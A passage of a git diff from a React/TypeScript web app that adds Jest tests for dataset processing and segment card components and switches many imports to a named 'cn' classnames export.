+    it('should handle documents with complex data_source_info', () => {
+      // Arrange
+      const documents = [
+        createMockDocument({
+          id: 'doc-notion',
+          name: 'Notion Page',
+          data_source_type: DatasourceType.onlineDocument,
+          data_source_info: {
+            notion_page_icon: { type: 'emoji', emoji: '📄' },
+            notion_workspace_id: 'ws-123',
+            notion_page_id: 'page-456',
+          },
+        }),
+      ]
+      const props = {
+        batchId: 'batch-123',
+        documents,
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(embeddingProcessProps.documents).toEqual(documents)
+    })
+  })
+
+  // ==========================================
+  // Retrieval Method Variations
+  // ==========================================
+  describe('Retrieval Method Variations', () => {
+    // Tests for different retrieval methods
+    const retrievalMethods = ['semantic_search', 'keyword_search', 'hybrid_search', 'full_text_search']
+
+    it.each(retrievalMethods)('should handle %s retrieval method', (method) => {
+      // Arrange
+      mockDataset = {
+        id: 'dataset-123',
+        indexing_technique: 'high_quality',
+        retrieval_model_dict: { search_method: method },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(embeddingProcessProps.retrievalMethod).toBe(method)
+    })
+  })
+
+  // ==========================================
+  // Indexing Technique Variations
+  // ==========================================
+  describe('Indexing Technique Variations', () => {
+    // Tests for different indexing techniques
+    const indexingTechniques = ['high_quality', 'economy']
+
+    it.each(indexingTechniques)('should handle %s indexing technique', (technique) => {
+      // Arrange
+      mockDataset = {
+        id: 'dataset-123',
+        indexing_technique: technique,
+        retrieval_model_dict: { search_method: 'semantic_search' },
+      }
+      const props = {
+        batchId: 'batch-123',
+        documents: createMockDocuments(1),
+      }
+
+      // Act
+      render(<Processing {...props} />)
+
+      // Assert
+      expect(embeddingProcessProps.indexingType).toBe(technique)
+    })
+  })
+})
diff --git a/web/app/components/datasets/documents/create-from-pipeline/processing/index.tsx b/web/app/components/datasets/documents/create-from-pipeline/processing/index.tsx
index 7215f23345..f48143948e 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/processing/index.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/processing/index.tsx
@@ -20,7 +20,7 @@ const Processing = ({
   const docLink = useDocLink()
   const datasetId = useDatasetDetailContextWithSelector(s => s.dataset?.id)
   const indexingType = useDatasetDetailContextWithSelector(s => s.dataset?.indexing_technique)
-  const retrievalMethod = useDatasetDetailContextWithSelector(s => s.dataset?.retrieval_model_dict.search_method)
+  const retrievalMethod = useDatasetDetailContextWithSelector(s => s.dataset?.retrieval_model_dict?.search_method)
 
   return (
     <div className='flex h-full w-full justify-center overflow-hidden'>
diff --git a/web/app/components/datasets/documents/create-from-pipeline/step-indicator.tsx b/web/app/components/datasets/documents/create-from-pipeline/step-indicator.tsx
index 1c05cdedd3..73e6940837 100644
--- a/web/app/components/datasets/documents/create-from-pipeline/step-indicator.tsx
+++ b/web/app/components/datasets/documents/create-from-pipeline/step-indicator.tsx
@@ -1,4 +1,4 @@
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import React from 'react'
 
 export type Step = {
diff --git a/web/app/components/datasets/documents/detail/batch-modal/csv-uploader.tsx b/web/app/components/datasets/documents/detail/batch-modal/csv-uploader.tsx
index 2049ae0d03..e88c5a1044 100644
--- a/web/app/components/datasets/documents/detail/batch-modal/csv-uploader.tsx
+++ b/web/app/components/datasets/documents/detail/batch-modal/csv-uploader.tsx
@@ -6,7 +6,7 @@ import {
 } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Csv as CSVIcon } from '@/app/components/base/icons/src/public/files'
 import { ToastContext } from '@/app/components/base/toast'
 import Button from '@/app/components/base/button'
diff --git a/web/app/components/datasets/documents/detail/completed/child-segment-detail.tsx b/web/app/components/datasets/documents/detail/completed/child-segment-detail.tsx
index e686226e5f..8f35bfc028 100644
--- a/web/app/components/datasets/documents/detail/completed/child-segment-detail.tsx
+++ b/web/app/components/datasets/documents/detail/completed/child-segment-detail.tsx
@@ -13,7 +13,7 @@ import { useSegmentListContext } from './index'
 import type { ChildChunkDetail, ChunkingMode } from '@/models/datasets'
 import { useEventEmitterContextContext } from '@/context/event-emitter'
 import { formatNumber } from '@/utils/format'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 import { formatTime } from '@/utils/time'
 
@@ -72,7 +72,7 @@ const ChildSegmentDetail: FC<IChildSegmentDetailProps> = ({
 
   return (
     <div className={'flex h-full flex-col'}>
-      <div className={classNames('flex items-center justify-between', fullScreen ? 'border border-divider-subtle py-3 pl-6 pr-4' : 'pl-4 pr-3 pt-3')}>
+      <div className={cn('flex items-center justify-between', fullScreen ? 'border border-divider-subtle py-3 pl-6 pr-4' : 'pl-4 pr-3 pt-3')}>
         <div className='flex flex-col'>
           <div className='system-xl-semibold text-text-primary'>{t('datasetDocuments.segment.editChildChunk')}</div>
           <div className='flex items-center gap-x-2'>
@@ -105,8 +105,8 @@ const ChildSegmentDetail: FC<IChildSegmentDetailProps> = ({
           </div>
         </div>
       </div>
-      <div className={classNames('flex w-full grow', fullScreen ? 'flex-row justify-center px-6 pt-6' : 'px-4 py-3')}>
-        <div className={classNames('h-full overflow-hidden whitespace-pre-line break-all', fullScreen ? 'w-1/2' : 'w-full')}>
+      <div className={cn('flex w-full grow', fullScreen ? 'flex-row justify-center px-6 pt-6' : 'px-4 py-3')}>
+        <div className={cn('h-full overflow-hidden whitespace-pre-line break-all', fullScreen ? 'w-1/2' : 'w-full')}>
           <ChunkContent
             docForm={docForm}
             question={content}
diff --git a/web/app/components/datasets/documents/detail/completed/child-segment-list.tsx b/web/app/components/datasets/documents/detail/completed/child-segment-list.tsx
index b19356cac7..6dbc539d5b 100644
--- a/web/app/components/datasets/documents/detail/completed/child-segment-list.tsx
+++ b/web/app/components/datasets/documents/detail/completed/child-segment-list.tsx
@@ -9,7 +9,7 @@ import FullDocListSkeleton from './skeleton/full-doc-list-skeleton'
 import { useSegmentListContext } from './index'
 import type { ChildChunkDetail } from '@/models/datasets'
 import Input from '@/app/components/base/input'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Divider from '@/app/components/base/divider'
 import { formatNumber } from '@/utils/format'
 
diff --git a/web/app/components/datasets/documents/detail/completed/common/add-another.tsx b/web/app/components/datasets/documents/detail/completed/common/add-another.tsx
index c504faa770..0b0cbc8e0a 100644
--- a/web/app/components/datasets/documents/detail/completed/common/add-another.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/add-another.tsx
@@ -1,6 +1,6 @@
 import React, { type FC } from 'react'
 import { useTranslation } from 'react-i18next'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Checkbox from '@/app/components/base/checkbox'
 
 type AddAnotherProps = {
@@ -17,7 +17,7 @@ const AddAnother: FC<AddAnotherProps> = ({
   const { t } = useTranslation()
 
   return (
-    <div className={classNames('flex items-center gap-x-1 pl-1', className)}>
+    <div className={cn('flex items-center gap-x-1 pl-1', className)}>
       <Checkbox
         key='add-another-checkbox'
         className='shrink-0'
diff --git a/web/app/components/datasets/documents/detail/completed/common/batch-action.tsx b/web/app/components/datasets/documents/detail/completed/common/batch-action.tsx
index c152ec5400..4e0fcc7e13 100644
--- a/web/app/components/datasets/documents/detail/completed/common/batch-action.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/batch-action.tsx
@@ -3,7 +3,7 @@ import { RiArchive2Line, RiCheckboxCircleLine, RiCloseCircleLine, RiDeleteBinLin
 import { useTranslation } from 'react-i18next'
 import { useBoolean } from 'ahooks'
 import Divider from '@/app/components/base/divider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Confirm from '@/app/components/base/confirm'
 import Button from '@/app/components/base/button'
 
diff --git a/web/app/components/datasets/documents/detail/completed/common/chunk-content.tsx b/web/app/components/datasets/documents/detail/completed/common/chunk-content.tsx
index 1b0695557e..b488c98f67 100644
--- a/web/app/components/datasets/documents/detail/completed/common/chunk-content.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/chunk-content.tsx
@@ -2,7 +2,7 @@ import React, { useEffect, useRef, useState } from 'react'
 import type { ComponentProps, FC } from 'react'
 import { useTranslation } from 'react-i18next'
 import { ChunkingMode } from '@/models/datasets'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Markdown } from '@/app/components/base/markdown'
 
 type IContentProps = ComponentProps<'textarea'>
@@ -16,10 +16,8 @@ const Textarea: FC<IContentProps> = React.memo(({
 }) => {
   return (
     <textarea
-      className={classNames(
-        'inset-0 w-full resize-none appearance-none overflow-y-auto border-none bg-transparent outline-none',
-        className,
-      )}
+      className={cn('inset-0 w-full resize-none appearance-none overflow-y-auto border-none bg-transparent outline-none',
+        className)}
       placeholder={placeholder}
       value={value}
       disabled={disabled}
@@ -82,10 +80,8 @@ const AutoResizeTextArea: FC<IAutoResizeTextAreaProps> = React.memo(({
   return (
     <textarea
       ref={textareaRef}
-      className={classNames(
-        'inset-0 w-full resize-none appearance-none border-none bg-transparent outline-none',
-        className,
-      )}
+      className={cn('inset-0 w-full resize-none appearance-none border-none bg-transparent outline-none',
+        className)}
       style={{
         maxHeight,
       }}
diff --git a/web/app/components/datasets/documents/detail/completed/common/drawer.tsx b/web/app/components/datasets/documents/detail/completed/common/drawer.tsx
index cf1b289f61..450f347302 100644
--- a/web/app/components/datasets/documents/detail/completed/common/drawer.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/drawer.tsx
@@ -1,6 +1,6 @@
 import React, { useCallback, useEffect, useRef } from 'react'
 import { createPortal } from 'react-dom'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useKeyPress } from 'ahooks'
 import { useSegmentListContext } from '..'
 
diff --git a/web/app/components/datasets/documents/detail/completed/common/full-screen-drawer.tsx b/web/app/components/datasets/documents/detail/completed/common/full-screen-drawer.tsx
index b729fe13d0..57b5557d7e 100644
--- a/web/app/components/datasets/documents/detail/completed/common/full-screen-drawer.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/full-screen-drawer.tsx
@@ -1,6 +1,6 @@
 import React from 'react'
 import Drawer from './drawer'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { noop } from 'lodash-es'
 
 type IFullScreenDrawerProps = {
diff --git a/web/app/components/datasets/documents/detail/completed/common/keywords.tsx b/web/app/components/datasets/documents/detail/completed/common/keywords.tsx
index ee90ee2d64..b3a372f75a 100644
--- a/web/app/components/datasets/documents/detail/completed/common/keywords.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/keywords.tsx
@@ -1,6 +1,6 @@
 import React, { type FC } from 'react'
 import { useTranslation } from 'react-i18next'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { SegmentDetailModel } from '@/models/datasets'
 import TagInput from '@/app/components/base/tag-input'
 
@@ -23,7 +23,7 @@ const Keywords: FC<IKeywordsProps> = ({
 }) => {
   const { t } = useTranslation()
   return (
-    <div className={classNames('flex flex-col', className)}>
+    <div className={cn('flex flex-col', className)}>
       <div className='system-xs-medium-uppercase text-text-tertiary'>{t('datasetDocuments.segment.keywords')}</div>
       <div className='flex max-h-[200px] w-full flex-wrap gap-1 overflow-auto text-text-tertiary'>
         {(!segInfo?.keywords?.length && actionType === 'view')
diff --git a/web/app/components/datasets/documents/detail/completed/common/segment-index-tag.tsx b/web/app/components/datasets/documents/detail/completed/common/segment-index-tag.tsx
index 14f5868338..306502955a 100644
--- a/web/app/components/datasets/documents/detail/completed/common/segment-index-tag.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/segment-index-tag.tsx
@@ -1,6 +1,6 @@
 import React, { type FC, useMemo } from 'react'
 import { Chunk } from '@/app/components/base/icons/src/vender/knowledge'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ISegmentIndexTagProps = {
   positionId?: string | number
diff --git a/web/app/components/datasets/documents/detail/completed/common/tag.tsx b/web/app/components/datasets/documents/detail/completed/common/tag.tsx
index 914f8dc61c..49bc759a16 100644
--- a/web/app/components/datasets/documents/detail/completed/common/tag.tsx
+++ b/web/app/components/datasets/documents/detail/completed/common/tag.tsx
@@ -1,5 +1,5 @@
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 const Tag = ({ text, className }: { text: string; className?: string }) => {
   return (
diff --git a/web/app/components/datasets/documents/detail/completed/index.tsx b/web/app/components/datasets/documents/detail/completed/index.tsx
index a3f76d9481..475ef86777 100644
--- a/web/app/components/datasets/documents/detail/completed/index.tsx
+++ b/web/app/components/datasets/documents/detail/completed/index.tsx
@@ -19,7 +19,7 @@ import FullScreenDrawer from './common/full-screen-drawer'
 import ChildSegmentDetail from './child-segment-detail'
 import StatusItem from './status-item'
 import Pagination from '@/app/components/base/pagination'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { formatNumber } from '@/utils/format'
 import Divider from '@/app/components/base/divider'
 import Input from '@/app/components/base/input'
@@ -62,7 +62,7 @@ type CurrChildChunkType = {
   showModal: boolean
 }
 
-type SegmentListContextValue = {
+export type SegmentListContextValue = {
   isCollapsed: boolean
   fullScreen: boolean
   toggleFullScreen: (fullscreen?: boolean) => void
diff --git a/web/app/components/datasets/documents/detail/completed/new-child-segment.tsx b/web/app/components/datasets/documents/detail/completed/new-child-segment.tsx
index 35e1e06bee..959b72aa1f 100644
--- a/web/app/components/datasets/documents/detail/completed/new-child-segment.tsx
+++ b/web/app/components/datasets/documents/detail/completed/new-child-segment.tsx
@@ -15,7 +15,7 @@ import { useSegmentListContext } from './index'
 import { useStore as useAppStore } from '@/app/components/app/store'
 import { ToastContext } from '@/app/components/base/toast'
 import { type ChildChunkDetail, ChunkingMode, type SegmentUpdater } from '@/models/datasets'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { formatNumber } from '@/utils/format'
 import Divider from '@/app/components/base/divider'
 import { useAddChildSegment } from '@/service/knowledge/use-segment'
@@ -114,7 +114,7 @@ const NewChildSegmentModal: FC<NewChildSegmentModalProps> = ({
 
   return (
     <div className={'flex h-full flex-col'}>
-      <div className={classNames('flex items-center justify-between', fullScreen ? 'border border-divider-subtle py-3 pl-6 pr-4' : 'pl-4 pr-3 pt-3')}>
+      <div className={cn('flex items-center justify-between', fullScreen ? 'border border-divider-subtle py-3 pl-6 pr-4' : 'pl-4 pr-3 pt-3')}>
         <div className='flex flex-col'>
           <div className='system-xl-semibold text-text-primary'>{t('datasetDocuments.segment.addChildChunk')}</div>
           <div className='flex items-center gap-x-2'>
@@ -145,8 +145,8 @@ const NewChildSegmentModal: FC<NewChildSegmentModalProps> = ({
           </div>
         </div>
       </div>
-      <div className={classNames('flex w-full grow', fullScreen ? 'flex-row justify-center px-6 pt-6' : 'px-4 py-3')}>
-        <div className={classNames('h-full overflow-hidden whitespace-pre-line break-all', fullScreen ? 'w-1/2' : 'w-full')}>
+      <div className={cn('flex w-full grow', fullScreen ? 'flex-row justify-center px-6 pt-6' : 'px-4 py-3')}>
+        <div className={cn('h-full overflow-hidden whitespace-pre-line break-all', fullScreen ? 'w-1/2' : 'w-full')}>
           <ChunkContent
             docForm={ChunkingMode.parentChild}
             question={content}
diff --git a/web/app/components/datasets/documents/detail/completed/segment-card/chunk-content.tsx b/web/app/components/datasets/documents/detail/completed/segment-card/chunk-content.tsx
index c07be98a04..9079bca954 100644
--- a/web/app/components/datasets/documents/detail/completed/segment-card/chunk-content.tsx
+++ b/web/app/components/datasets/documents/detail/completed/segment-card/chunk-content.tsx
@@ -1,5 +1,5 @@
 import React, { type FC } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useSegmentListContext } from '..'
 import { Markdown } from '@/app/components/base/markdown'
 
diff --git a/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx b/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx
new file mode 100644
index 0000000000..115189ec99
--- /dev/null
+++ b/web/app/components/datasets/documents/detail/completed/segment-card/index.spec.tsx
@@ -0,0 +1,1203 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import SegmentCard from './index'
+import { type Attachment, type ChildChunkDetail, ChunkingMode, type ParentMode, type SegmentDetailModel } from '@/models/datasets'
+import type { DocumentContextValue } from '@/app/components/datasets/documents/detail/context'
+import type { SegmentListContextValue } from '@/app/components/datasets/documents/detail/completed'
+
+// Mock react-i18next - external dependency
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: { count?: number }) => {
+      if (key === 'datasetDocuments.segment.characters')
+        return options?.count === 1 ? 'character' : 'characters'
+      if (key === 'datasetDocuments.segment.childChunks')
+        return options?.count === 1 ? 'child chunk' : 'child chunks'
+      return key
+    },
+  }),
+}))
+
+// ============================================================================
+// Context Mocks - need to control test scenarios
+// ============================================================================
+
+const mockDocForm = { current: ChunkingMode.text }
+const mockParentMode = { current: 'paragraph' as ParentMode }
+
+jest.mock('../../context', () => ({
+  useDocumentContext: (selector: (value: DocumentContextValue) => unknown) => {
+    const value: DocumentContextValue = {
+      datasetId: 'test-dataset-id',
+      documentId: 'test-document-id',
+      docForm: mockDocForm.current,
+      parentMode: mockParentMode.current,
+    }
+    return selector(value)
+  },
+}))
+
+const mockIsCollapsed = { current: true }
+jest.mock('../index', () => ({
+  useSegmentListContext: (selector: (value: SegmentListContextValue) => unknown) => {
+    const value: SegmentListContextValue = {
+      isCollapsed: mockIsCollapsed.current,
+      fullScreen: false,
+      toggleFullScreen: jest.fn(),
+      currSegment: { showModal: false },
+      currChildChunk: { showModal: false },
+    }
+    return selector(value)
+  },
+}))
+
+// ============================================================================
+// Component Mocks - components with complex dependencies
+// ============================================================================
+
+// StatusItem uses React Query hooks which require QueryClientProvider
+jest.mock('../../../status-item', () => ({
+  __esModule: true,
+  default: ({ status, reverse, textCls }: { status: string; reverse?: boolean; textCls?: string }) => (
+    <div data-testid="status-item" data-status={status} data-reverse={reverse} className={textCls}>
+      Status: {status}
+    </div>
+  ),
+}))
+
+// ImageList has deep dependency: FileThumb → file-uploader → react-pdf-highlighter (ESM)
+jest.mock('@/app/components/datasets/common/image-list', () => ({
+  __esModule: true,
+  default: ({ images, size, className }: { images: Array<{ sourceUrl: string; name: string }>; size?: string; className?: string }) => (
+    <div data-testid="image-list" data-image-count={images.length} data-size={size} className={className}>
+      {images.map((img, idx: number) => (
+        <img key={idx} src={img.sourceUrl} alt={img.name} />
+      ))}
+    </div>
+  ),
+}))
+
+// Markdown uses next/dynamic and react-syntax-highlighter (ESM)
+jest.mock('@/app/components/base/markdown', () => ({
+  __esModule: true,
+  Markdown: ({ content, className }: { content: string; className?: string }) => (
+    <div data-testid="markdown" className={`markdown-body ${className || ''}`}>{content}</div>
+  ),
+}))
+
+// ============================================================================
+// Test Data Factories
+// ============================================================================
+
+const createMockAttachment = (overrides: Partial<Attachment> = {}): Attachment => ({
+  id: 'attachment-1',
+  name: 'test-image.png',
+  size: 1024,
+  extension: 'png',
+  mime_type: 'image/png',
+  source_url: 'https://example.com/test-image.png',
+  ...overrides,
+})
+
+const createMockChildChunk = (overrides: Partial<ChildChunkDetail> = {}): ChildChunkDetail => ({
+  id: 'child-chunk-1',
+  position: 1,
+  segment_id: 'segment-1',
+  content: 'Child chunk content',
+  word_count: 100,
+  created_at: 1700000000,
+  updated_at: 1700000000,
+  type: 'automatic',
+  ...overrides,
+})
+
+const createMockSegmentDetail = (overrides: Partial<SegmentDetailModel & { document?: { name: string } }> = {}): SegmentDetailModel & { document?: { name: string } } => ({
+  id: 'segment-1',
+  position: 1,
+  document_id: 'doc-1',
+  content: 'Test segment content',
+  sign_content: 'Test signed content',
+  word_count: 100,
+  tokens: 50,
+  keywords: ['keyword1', 'keyword2'],
+  index_node_id: 'index-1',
+  index_node_hash: 'hash-1',
+  hit_count: 10,
+  enabled: true,
+  disabled_at: 0,
+  disabled_by: '',
+  status: 'completed',
+  created_by: 'user-1',
+  created_at: 1700000000,
+  indexing_at: 1700000100,
+  completed_at: 1700000200,
+  error: null,
+  stopped_at: 0,
+  updated_at: 1700000000,
+  attachments: [],
+  child_chunks: [],
+  document: { name: 'Test Document' },
+  ...overrides,
+})
+
+const defaultFocused = { segmentIndex: false, segmentContent: false }
+
+// ============================================================================
+// Tests
+// ============================================================================
+
+describe('SegmentCard', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    mockDocForm.current = ChunkingMode.text
+    mockParentMode.current = 'paragraph'
+    mockIsCollapsed.current = true
+  })
+
+  // --------------------------------------------------------------------------
+  // Rendering Tests
+  // --------------------------------------------------------------------------
+  describe('Rendering', () => {
+    it('should render loading skeleton when loading is true', () => {
+      render(<SegmentCard loading={true} focused={defaultFocused} />)
+
+      // ParentChunkCardSkeleton should render
+      expect(screen.getByTestId('parent-chunk-card-skeleton')).toBeInTheDocument()
+    })
+
+    it('should render segment card content when loading is false', () => {
+      const detail = createMockSegmentDetail()
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      // ChunkContent shows sign_content first, then content
+      expect(screen.getByText('Test signed content')).toBeInTheDocument()
+    })
+
+    it('should render segment index tag with correct position', () => {
+      const detail = createMockSegmentDetail({ position: 5 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk-05/i)).toBeInTheDocument()
+    })
+
+    it('should render word count text', () => {
+      const detail = createMockSegmentDetail({ word_count: 250 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('250 characters')).toBeInTheDocument()
+    })
+
+    it('should render hit count text', () => {
+      const detail = createMockSegmentDetail({ hit_count: 42 })
+
+      render(<SegmentCard loading={false} detail={detail} focused={defaultFocused} />)
+
+      expect(screen.getByText('42 datasetDocuments.segment.hitCount')).toBeInTheDocument()
+    })
+
+    it('should apply custom className', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard loading={false} detail={detail} className="custom-class" focused={defaultFocused} />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).toHaveClass('custom-class')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Props Tests
+  // --------------------------------------------------------------------------
+  describe('Props', () => {
+    it('should use default empty object when detail is undefined', () => {
+      render(<SegmentCard loading={false} focused={defaultFocused} />)
+
+      expect(screen.getByText(/Chunk/i)).toBeInTheDocument()
+    })
+
+    it('should handle archived prop correctly - switch should be disabled', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          archived={true}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      expect(switchElement).toHaveClass('!cursor-not-allowed')
+    })
+
+    it('should show action buttons when embeddingAvailable is true', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      expect(screen.getByTestId('segment-edit-button')).toBeInTheDocument()
+      expect(screen.getByTestId('segment-delete-button')).toBeInTheDocument()
+      expect(screen.getByRole('switch')).toBeInTheDocument()
+    })
+
+    it('should not show action buttons when embeddingAvailable is false', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={false}
+          focused={defaultFocused}
+        />,
+      )
+
+      expect(screen.queryByRole('switch')).not.toBeInTheDocument()
+    })
+
+    it('should apply focused styles when segmentContent is focused', () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          focused={{ segmentIndex: false, segmentContent: true }}
+        />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      expect(card).toHaveClass('bg-dataset-chunk-detail-card-hover-bg')
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // State Management Tests
+  // --------------------------------------------------------------------------
+  describe('State Management', () => {
+    it('should toggle delete confirmation modal when delete button clicked', async () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const deleteButton = screen.getByTestId('segment-delete-button')
+      fireEvent.click(deleteButton)
+
+      await waitFor(() => {
+        expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument()
+      })
+    })
+
+    it('should close delete confirmation modal when cancel is clicked', async () => {
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const deleteButton = screen.getByTestId('segment-delete-button')
+      fireEvent.click(deleteButton)
+
+      await waitFor(() => {
+        expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByText('common.operation.cancel'))
+
+      await waitFor(() => {
+        expect(screen.queryByText('datasetDocuments.segment.delete')).not.toBeInTheDocument()
+      })
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Callback Tests
+  // --------------------------------------------------------------------------
+  describe('Callbacks', () => {
+    it('should call onClick when card is clicked in general mode', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail()
+      mockDocForm.current = ChunkingMode.text
+
+      render(
+        <SegmentCard loading={false} detail={detail} onClick={onClick} focused={defaultFocused} />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      fireEvent.click(card)
+
+      expect(onClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should not call onClick when card is clicked in full-doc mode', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail()
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+
+      render(
+        <SegmentCard loading={false} detail={detail} onClick={onClick} focused={defaultFocused} />,
+      )
+
+      const card = screen.getByTestId('segment-card')
+      fireEvent.click(card)
+
+      expect(onClick).not.toHaveBeenCalled()
+    })
+
+    it('should call onClick when view more button is clicked in full-doc mode', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail()
+      mockDocForm.current = ChunkingMode.parentChild
+      mockParentMode.current = 'full-doc'
+
+      render(<SegmentCard loading={false} detail={detail} onClick={onClick} focused={defaultFocused} />)
+
+      const viewMoreButton = screen.getByRole('button', { name: /viewMore/i })
+      fireEvent.click(viewMoreButton)
+
+      expect(onClick).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onClickEdit when edit button is clicked', () => {
+      const onClickEdit = jest.fn()
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClickEdit={onClickEdit}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const editButton = screen.getByTestId('segment-edit-button')
+      fireEvent.click(editButton)
+
+      expect(onClickEdit).toHaveBeenCalledTimes(1)
+    })
+
+    it('should call onDelete when confirm delete is clicked', async () => {
+      const onDelete = jest.fn().mockResolvedValue(undefined)
+      const detail = createMockSegmentDetail({ id: 'test-segment-id' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onDelete={onDelete}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const deleteButton = screen.getByTestId('segment-delete-button')
+      fireEvent.click(deleteButton)
+
+      await waitFor(() => {
+        expect(screen.getByText('datasetDocuments.segment.delete')).toBeInTheDocument()
+      })
+
+      fireEvent.click(screen.getByText('common.operation.sure'))
+
+      await waitFor(() => {
+        expect(onDelete).toHaveBeenCalledWith('test-segment-id')
+      })
+    })
+
+    it('should call onChangeSwitch when switch is toggled', async () => {
+      const onChangeSwitch = jest.fn().mockResolvedValue(undefined)
+      const detail = createMockSegmentDetail({ id: 'test-segment-id', enabled: true, status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onChangeSwitch={onChangeSwitch}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      fireEvent.click(switchElement)
+
+      await waitFor(() => {
+        expect(onChangeSwitch).toHaveBeenCalledWith(false, 'test-segment-id')
+      })
+    })
+
+    it('should stop propagation when edit button is clicked', () => {
+      const onClick = jest.fn()
+      const onClickEdit = jest.fn()
+      const detail = createMockSegmentDetail()
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={onClick}
+          onClickEdit={onClickEdit}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const editButton = screen.getByTestId('segment-edit-button')
+      fireEvent.click(editButton)
+
+      expect(onClickEdit).toHaveBeenCalledTimes(1)
+      expect(onClick).not.toHaveBeenCalled()
+    })
+
+    it('should stop propagation when switch area is clicked', () => {
+      const onClick = jest.fn()
+      const detail = createMockSegmentDetail({ status: 'completed' })
+
+      render(
+        <SegmentCard
+          loading={false}
+          detail={detail}
+          onClick={onClick}
+          embeddingAvailable={true}
+          focused={defaultFocused}
+        />,
+      )
+
+      const switchElement = screen.getByRole('switch')
+      const switchContainer = switchElement.parentElement
+      fireEvent.click(switchContainer!)
+
+      expect(onClick).not.toHaveBeenCalled()
+    })
+  })
+
+  // --------------------------------------------------------------------------
+  // Memoization Logic Tests
+  // --------------------------------------------------------------------------
+  describe('Memoization Logic', () => {
+    it('should compute isGeneralMode correctly for text mode - show keywords', () => {
+      mockDocForm.current = ChunkingMode.text
